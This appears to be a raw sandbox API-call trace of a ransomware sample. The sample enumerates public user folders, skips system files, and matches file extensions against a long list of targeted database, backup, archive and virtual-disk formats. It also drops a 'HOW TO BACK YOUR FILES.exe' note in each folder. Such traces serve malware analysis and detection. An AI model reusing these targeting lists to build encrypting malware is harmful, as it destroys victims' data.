	[0035.951] lstrcmpiW (lpString1="Tulips.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="..") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="windows") returned -1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="bootmgr") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="temp") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="pagefile.sys") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="boot") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ids.txt") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ntuser.dat") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="perflogs") returned 1
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2="MSBuild") returned 1
	[0035.952] lstrlenW (lpString="Tulips.jpg") returned 10
	[0035.952] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned 53
	[0035.952] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Tulips.jpg" | out: lpString1="Tulips.jpg") returned="Tulips.jpg"
	[0035.952] lstrlenW (lpString="Tulips.jpg") returned 10
	[0035.952] lstrlenW (lpString="Apollon865") returned 10
	[0035.952] lstrlenW (lpString=".dll") returned 4
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".dll") returned 1
	[0035.952] lstrlenW (lpString=".lnk") returned 4
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".lnk") returned 1
	[0035.952] lstrlenW (lpString=".ini") returned 4
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".ini") returned 1
	[0035.952] lstrlenW (lpString=".sys") returned 4
	[0035.952] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".sys") returned 1
	[0035.952] lstrlenW (lpString="Tulips.jpg") returned 10
	[0035.952] lstrlenW (lpString="bak") returned 3
	[0035.952] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.952] lstrlenW (lpString="ba_") returned 3
	[0035.952] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.952] lstrlenW (lpString="dbb") returned 3
	[0035.952] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.952] lstrlenW (lpString="vmdk") returned 4
	[0035.952] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.952] lstrlenW (lpString="rar") returned 3
	[0035.952] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.952] lstrlenW (lpString="zip") returned 3
	[0035.952] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.952] lstrlenW (lpString="tgz") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.953] lstrlenW (lpString="vbox") returned 4
	[0035.953] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.953] lstrlenW (lpString="vdi") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.953] lstrlenW (lpString="vhd") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.953] lstrlenW (lpString="vhdx") returned 4
	[0035.953] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.953] lstrlenW (lpString="avhd") returned 4
	[0035.953] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.953] lstrlenW (lpString="db") returned 2
	[0035.953] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.953] lstrlenW (lpString="db2") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.953] lstrlenW (lpString="db3") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.953] lstrlenW (lpString="dbf") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.953] lstrlenW (lpString="mdf") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.953] lstrlenW (lpString="mdb") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.953] lstrlenW (lpString="sql") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.953] lstrlenW (lpString="sqlite") returned 6
	[0035.953] lstrcmpiW (lpString1="ps.jpg", lpString2="sqlite") returned -1
	[0035.953] lstrlenW (lpString="sqlite3") returned 7
	[0035.953] lstrcmpiW (lpString1="ips.jpg", lpString2="sqlite3") returned -1
	[0035.953] lstrlenW (lpString="sqlitedb") returned 8
	[0035.953] lstrcmpiW (lpString1="lips.jpg", lpString2="sqlitedb") returned -1
	[0035.953] lstrlenW (lpString="xml") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.953] lstrlenW (lpString="$er") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.953] lstrlenW (lpString="4dd") returned 3
	[0035.953] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.953] lstrlenW (lpString="4dl") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.954] lstrlenW (lpString="^^^") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.954] lstrlenW (lpString="abs") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.954] lstrlenW (lpString="abx") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.954] lstrlenW (lpString="accdb") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0035.954] lstrlenW (lpString="accdc") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0035.954] lstrlenW (lpString="accde") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0035.954] lstrlenW (lpString="accdr") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0035.954] lstrlenW (lpString="accdt") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0035.954] lstrlenW (lpString="accdw") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0035.954] lstrlenW (lpString="accft") returned 5
	[0035.954] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0035.954] lstrlenW (lpString="adb") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.954] lstrlenW (lpString="adb") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.954] lstrlenW (lpString="ade") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.954] lstrlenW (lpString="adf") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.954] lstrlenW (lpString="adn") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.954] lstrlenW (lpString="adp") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.954] lstrlenW (lpString="alf") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.954] lstrlenW (lpString="ask") returned 3
	[0035.954] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.954] lstrlenW (lpString="btr") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.955] lstrlenW (lpString="cat") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.955] lstrlenW (lpString="cdb") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.955] lstrlenW (lpString="ckp") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.955] lstrlenW (lpString="cma") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.955] lstrlenW (lpString="cpd") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.955] lstrlenW (lpString="dacpac") returned 6
	[0035.955] lstrcmpiW (lpString1="ps.jpg", lpString2="dacpac") returned 1
	[0035.955] lstrlenW (lpString="dad") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.955] lstrlenW (lpString="dadiagrams") returned 10
	[0035.955] lstrlenW (lpString="daschema") returned 8
	[0035.955] lstrcmpiW (lpString1="lips.jpg", lpString2="daschema") returned 1
	[0035.955] lstrlenW (lpString="db-journal") returned 10
	[0035.955] lstrlenW (lpString="db-shm") returned 6
	[0035.955] lstrcmpiW (lpString1="ps.jpg", lpString2="db-shm") returned 1
	[0035.955] lstrlenW (lpString="db-wal") returned 6
	[0035.955] lstrcmpiW (lpString1="ps.jpg", lpString2="db-wal") returned 1
	[0035.955] lstrlenW (lpString="dbc") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.955] lstrlenW (lpString="dbs") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.955] lstrlenW (lpString="dbt") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.955] lstrlenW (lpString="dbv") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.955] lstrlenW (lpString="dbx") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.955] lstrlenW (lpString="dcb") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.955] lstrlenW (lpString="dct") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.955] lstrlenW (lpString="dcx") returned 3
	[0035.955] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.956] lstrlenW (lpString="ddl") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.956] lstrlenW (lpString="dlis") returned 4
	[0035.956] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.956] lstrlenW (lpString="dp1") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.956] lstrlenW (lpString="dqy") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.956] lstrlenW (lpString="dsk") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.956] lstrlenW (lpString="dsn") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.956] lstrlenW (lpString="dtsx") returned 4
	[0035.956] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.956] lstrlenW (lpString="dxl") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.956] lstrlenW (lpString="eco") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.956] lstrlenW (lpString="ecx") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.956] lstrlenW (lpString="edb") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.956] lstrlenW (lpString="epim") returned 4
	[0035.956] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.956] lstrlenW (lpString="fcd") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.956] lstrlenW (lpString="fdb") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.956] lstrlenW (lpString="fic") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.956] lstrlenW (lpString="flexolibrary") returned 12
	[0035.956] lstrlenW (lpString="fm5") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.956] lstrlenW (lpString="fmp") returned 3
	[0035.956] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.956] lstrlenW (lpString="fmp12") returned 5
	[0035.956] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0035.956] lstrlenW (lpString="fmpsl") returned 5
	[0035.956] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0035.957] lstrlenW (lpString="fol") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.957] lstrlenW (lpString="fp3") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.957] lstrlenW (lpString="fp4") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.957] lstrlenW (lpString="fp5") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.957] lstrlenW (lpString="fp7") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.957] lstrlenW (lpString="fpt") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.957] lstrlenW (lpString="frm") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.957] lstrlenW (lpString="gdb") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.957] lstrlenW (lpString="gdb") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.957] lstrlenW (lpString="grdb") returned 4
	[0035.957] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.957] lstrlenW (lpString="gwi") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.957] lstrlenW (lpString="hdb") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.957] lstrlenW (lpString="his") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.957] lstrlenW (lpString="ib") returned 2
	[0035.957] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.957] lstrlenW (lpString="idb") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.957] lstrlenW (lpString="ihx") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.957] lstrlenW (lpString="itdb") returned 4
	[0035.957] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.957] lstrlenW (lpString="itw") returned 3
	[0035.957] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.957] lstrlenW (lpString="jet") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.958] lstrlenW (lpString="jtx") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.958] lstrlenW (lpString="kdb") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.958] lstrlenW (lpString="kexi") returned 4
	[0035.958] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.958] lstrlenW (lpString="kexic") returned 5
	[0035.958] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0035.958] lstrlenW (lpString="kexis") returned 5
	[0035.958] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0035.958] lstrlenW (lpString="lgc") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.958] lstrlenW (lpString="lwx") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.958] lstrlenW (lpString="maf") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.958] lstrlenW (lpString="maq") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.958] lstrlenW (lpString="mar") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.958] lstrlenW (lpString="marshal") returned 7
	[0035.958] lstrcmpiW (lpString1="ips.jpg", lpString2="marshal") returned -1
	[0035.958] lstrlenW (lpString="mas") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.958] lstrlenW (lpString="mav") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.958] lstrlenW (lpString="maw") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.958] lstrlenW (lpString="mdbhtml") returned 7
	[0035.958] lstrcmpiW (lpString1="ips.jpg", lpString2="mdbhtml") returned -1
	[0035.958] lstrlenW (lpString="mdn") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.958] lstrlenW (lpString="mdt") returned 3
	[0035.958] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.958] lstrlenW (lpString="mfd") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.959] lstrlenW (lpString="mpd") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.959] lstrlenW (lpString="mrg") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.959] lstrlenW (lpString="mud") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.959] lstrlenW (lpString="mwb") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.959] lstrlenW (lpString="myd") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.959] lstrlenW (lpString="ndf") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.959] lstrlenW (lpString="nnt") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.959] lstrlenW (lpString="nrmlib") returned 6
	[0035.959] lstrcmpiW (lpString1="ps.jpg", lpString2="nrmlib") returned 1
	[0035.959] lstrlenW (lpString="ns2") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.959] lstrlenW (lpString="ns3") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.959] lstrlenW (lpString="ns4") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.959] lstrlenW (lpString="nsf") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.959] lstrlenW (lpString="nv") returned 2
	[0035.959] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.959] lstrlenW (lpString="nv2") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.959] lstrlenW (lpString="nwdb") returned 4
	[0035.959] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.959] lstrlenW (lpString="nyf") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.959] lstrlenW (lpString="odb") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.959] lstrlenW (lpString="odb") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.959] lstrlenW (lpString="oqy") returned 3
	[0035.959] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.960] lstrlenW (lpString="ora") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.960] lstrlenW (lpString="orx") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.960] lstrlenW (lpString="owc") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.960] lstrlenW (lpString="p96") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.960] lstrlenW (lpString="p97") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.960] lstrlenW (lpString="pan") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.960] lstrlenW (lpString="pdb") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.960] lstrlenW (lpString="pdm") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.960] lstrlenW (lpString="pnz") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.960] lstrlenW (lpString="qry") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.960] lstrlenW (lpString="qvd") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.960] lstrlenW (lpString="rbf") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.960] lstrlenW (lpString="rctd") returned 4
	[0035.960] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.960] lstrlenW (lpString="rod") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.960] lstrlenW (lpString="rodx") returned 4
	[0035.960] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.960] lstrlenW (lpString="rpd") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.960] lstrlenW (lpString="rsd") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.960] lstrlenW (lpString="sas7bdat") returned 8
	[0035.960] lstrcmpiW (lpString1="lips.jpg", lpString2="sas7bdat") returned -1
	[0035.960] lstrlenW (lpString="sbf") returned 3
	[0035.960] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.960] lstrlenW (lpString="scx") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.961] lstrlenW (lpString="sdb") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.961] lstrlenW (lpString="sdc") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.961] lstrlenW (lpString="sdf") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.961] lstrlenW (lpString="sis") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.961] lstrlenW (lpString="spq") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.961] lstrlenW (lpString="te") returned 2
	[0035.961] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.961] lstrlenW (lpString="teacher") returned 7
	[0035.961] lstrcmpiW (lpString1="ips.jpg", lpString2="teacher") returned -1
	[0035.961] lstrlenW (lpString="tmd") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.961] lstrlenW (lpString="tps") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.961] lstrlenW (lpString="trc") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.961] lstrlenW (lpString="trc") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.961] lstrlenW (lpString="trm") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.961] lstrlenW (lpString="udb") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.961] lstrlenW (lpString="udl") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.961] lstrlenW (lpString="usr") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.961] lstrlenW (lpString="v12") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.961] lstrlenW (lpString="vis") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.961] lstrlenW (lpString="vpd") returned 3
	[0035.961] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.961] lstrlenW (lpString="vvv") returned 3
	[0035.962] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.962] lstrlenW (lpString="wdb") returned 3
	[0035.962] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.962] lstrlenW (lpString="wmdb") returned 4
	[0035.962] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.962] lstrlenW (lpString="wrk") returned 3
	[0035.962] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.962] lstrlenW (lpString="xdb") returned 3
	[0035.962] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.962] lstrlenW (lpString="xld") returned 3
	[0035.962] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.962] lstrlenW (lpString="xmlff") returned 5
	[0035.962] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0035.962] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0
	[0035.962] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0035.962] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0035.962] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0035.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ed0 | out: hHeap=0x580000) returned 1
	[0035.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0035.962] lstrlenW (lpString="C:\\Users\\Public\\Music") returned 21
	[0035.962] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0035.962] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.962] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.967] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.967] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db4b230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0035.967] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.967] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.967] lstrcmpiW (lpString1=".", lpString2=".") returned 0
